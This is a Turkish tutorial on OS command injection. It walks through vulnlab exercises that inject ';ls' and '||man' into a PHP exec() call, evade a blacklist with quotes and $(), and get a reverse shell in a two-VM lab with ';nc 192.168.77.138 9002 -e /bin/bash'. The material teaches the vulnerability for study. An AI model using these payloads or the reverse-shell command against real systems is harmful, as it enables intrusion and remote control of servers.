Command Injection
Last updated
Last updated
Command injection, dışarıdan bir giriş değeri ile arka planda bir komutu çalıştıran bir programın amaçlanan giriş değeri dışında bir veriyi kabul ederek bunu çalıştırmasıdır. Bu işlem sırasında program, komutu normalde kullanıcıda olmaması gereken bir yetki seviyesinde çalıştırır ve çıktıyı kullanıcıya iletir. Bu işlem sırasında olaylar işletim sistemi ve sistem çağrıları içerdiği için bu zafiyete aynı zamanda "OS Command Injection" (İşletim Sistemi Komut Enjeksiyonu) da denir
Zafiyeti incelemeden önce basit düzeyde de olsa bir işletim sisteminin nasıl çalıştığını ve biz bir program çalıştırdığımız zaman kodun işletim sistemi ile nasıl haberleştiğini bilmemiz gerekir. İlk önce işletim sisteminin neden var olduğundan bahsedelim. İşletim sisteminin kendisi başlı başına bir güvenlik katmanı diyebiliriz. Fakat bu bildiğimiz güvenlik katmanları gibi değil. Burada işletim sistemi bizi sistemden doğacak veya yabancı bir kullanıcının sistemden bize gelecek saldırıları için korumuyor aksine sistemi bizden koruyor. Bilgisayar masaüstü, klasörler, uygulamalar vb. bunların hepsi işletim sisteminin bir parçası. Biz bunlara tıkladığımızda veya herhangi bir iletişime geçtiğimizde işletim sistemi bizim için arka planda bir “event” oluşturuyor. Yani biz en basitinden bir tarayıcı uygulamasını açtığımızda arka planda sisteme bu adam tarayıcıya girecek ne yapıyorsan dur veya ertele en erken zamanda tarayıcıyı aç diyen biri var. Bu olaylara system call’ar deniyor. Peki bunu neden biz yapamıyoruz. Çünkü arka planda eventler gerçekleşirken çok kaotik olaylar yaşanıyor ve bunlar isleri bilmeyen bir kişi tarafından kurcalanırsa donanımsal ve yazılımsal olarak geri donuşu olmayan hasarlar çıkabilir.
Derleyicilerde ayni işletim sistemleri gibi biz kod yazdığımız zaman arka planda işletim sistemi ile konuşuyor. İşletim sistemide bu konuşmayı Kernel seviyesinde mikroişlemciye iletiyor fakat bu kadar detay bilmemize gerek yok. Buradan anlamamız gereken şey bizim normal kullanıcı yetkisi ile yaptığımız çok basit bir şeyin bile elinde sonunda bilgisayarın en yetkili abisi olan kişiye danışılarak çalışabildiği. İste burada command injection zafiyeti cikiyor. Kullanıcıdan basit bir isim değeri alarak ekrana bastirilan bir program bile yeterli güvenlik filtreleri konulmadığı taktirde işletim sistemini kandıran bir input değeri alabiliyor. Bu konuya yazımın en sonunda linux tricklerinde bahsedeceğim. Ama ondan önce command injectionu vulnlab üzerinden kodlar ile anlatmak istiyorum.
Sorunun kaynak kodlarını incelediğimiz zaman input olarak girilen ip değerini php içerisinde bulunan “exec()” fonksiyonuna koyarak çalıştığını ve bunu ekrana yazdığını görüyoruz. Burada kullanılan “exec()” fonksiyonu sizin terminale bir şey yazdığınız gibi input değerini yazıp çıktısını alıyor.
Terminalde 2 farklı fonksiyonu çalıştırmak için “;” , “||” gibi bazı ayraçlar kullanılır. Eğer burada bu ayraçlardan biri ile başlayıp çalıştırmak istediğiniz komutu yazarsanız ayni bir terminalle iletişim kuruyormuş gibi istediğiniz çıktıyı alabilirsiniz.
";ls" komutunu yazdığımız zaman dosya dizininde bulunan belgeleri görebiliyoruz. Burada ";" işareti "and" anlamına geliyor. Yani bu kısımda hangi komut çalışırsa çalışsın noktalı virgülden sonra gelen ikinci bir bağımsız terminal komutunu da çalıştır anlamına geliyor. Kaynak kodda da gördüğümüz "exec()" fonksiyonu bu input değeri karşısında savunmasız kalıyor ve "ls" komutunun çıktısını bize döndürüyor.
Kaynak kodlarını inceldiğimiz zaman burada bir blacklist kullanıldığını fark ediyoruz.
Biraz araştırma sonucu “ya da” anlamına gelen “||” simgesinin blackliste dahil edilmediğini fark edebiliriz.
"||man" komutunu yazdığımız zaman "manual" çıktısını görebiliyoruz. Burada "||" işareti "or" anlamına geliyor. Bir önceki örnekteki gibi burada da ikinci bir komut çalıştırmak için kullandık. Buradaki tek fark, bu örnekte "||" harici kullanabileceğimiz tüm kaçış elemanları kara listeye alınmıştı.
Eğer blacklist içerisindeki bir komutu kullanmak istersek, kullandığımız komutun herhangi bir harfini '""' içerisine alabilir ya da komutun içerisindeki iki harf arasına "$()" işaretini koyup yazabiliriz. Bizim gözümüzde kod bozulmuş gibi gözükse bile sistem bu kodları eklediğimiz sembolleri yok sayarak okuyacak ve çalıştıracaktır fakat arkaplanda çalışan blacklist fonksiyonları bizim yazdığımız fazlalık harfleri blacklist ile eşleştiremediği için bir hata vermeyecektir.
Bu bölümde komut injection'ın ne kadar büyük sorunlara yol açabileceğini göstermek için bir senaryo tasarladım. İki adet Kali Linux sanal makinesi kurdum ve birinde yukarıdaki örnekteki gibi ping atılabilen bir site var. Bu sitede command injection zaafiyeti bıraktım. Sitenin çalıştığı sanal makine, saldırdığımız siteyi barındıran sunucu görevi görecek; ikinci makine ise bizim kullandığımız ana makine görevi görecek ve zaafiyeti sömürürken netcat ile dinleme yapacağız. Netcat ile reverse shell alırken gireceğim payloadları aşağıdaki siteden yararlanarak oluşturdum.
İlk olarak, girdiğimiz sitede ";ls" komutunu girerek bir command injection zaafiyeti olduğunu doğruladım.
Şimdi kendi bilgisayarımızda dinleme yapmak için 9002 portunu netcat ile dinlemeye aldım. Resmin üstünde gördüğünüz gibi saldırdığım bilgisayarın IP değeri 192.168.77.136.
Şimdi sitenin çalıştığı makineye geri dönerek ";nc 192.168.77.138 9002 -e /bin/bash" komutunu girdim. Bu komut, belirtilen IP adresindeki 9002 numaralı porta "/bin/bash" yetkisi ile bağlanıyor. Bir önceki resimde gördüğünüz gibi biz de kendi bilgisayarımızda bu port numarasını dinliyorduk.
Komutu girdikten sonra 192.168.77.129 numaralı bir cihazın bizim 9002 numaralı portumuza bağlandığını gördük. Bu IP, saldırıda bulunduğumuz siteyi çalıştıran sanal makineye ait.
Görebileceğiniz üzere, bağlandığımız sunucuda komut çalıştırarak sistem dosyalarını okuyabiliyoruz. Buradan sonrası, Linux yetki yükseltme zaafiyetleri ile yetkimizi "root" yapıp sistemi ele geçirmeye kalıyor. Bu yazı, bir web zaafiyetinin sömürülmesini anlattığı için buradan daha fazla ileri gitmeyeceğim.
Son olarak linux işletim sistemlerinde bulunan bir String Interpolation olayından bahsetmek istiyorum. String interpolation, bir dilde bir değişkenin veya ifadenin doğrudan bir metin içine eklenmesi işlemidir. Özellikle, bir işletim sistemi ortamında, komutlar içinde bu tür ifadelerin kullanılması oldukça yaygındır. Örneğin, Linux'ta, bir ifadeyi komut içinde doğrudan yerine koymak için çift tırnak işaretleri kullanılırken, tek tırnak işaretleri bu işlevselliği sağlamaz. Fakat her iki durumda sömürülmeye müsaittir.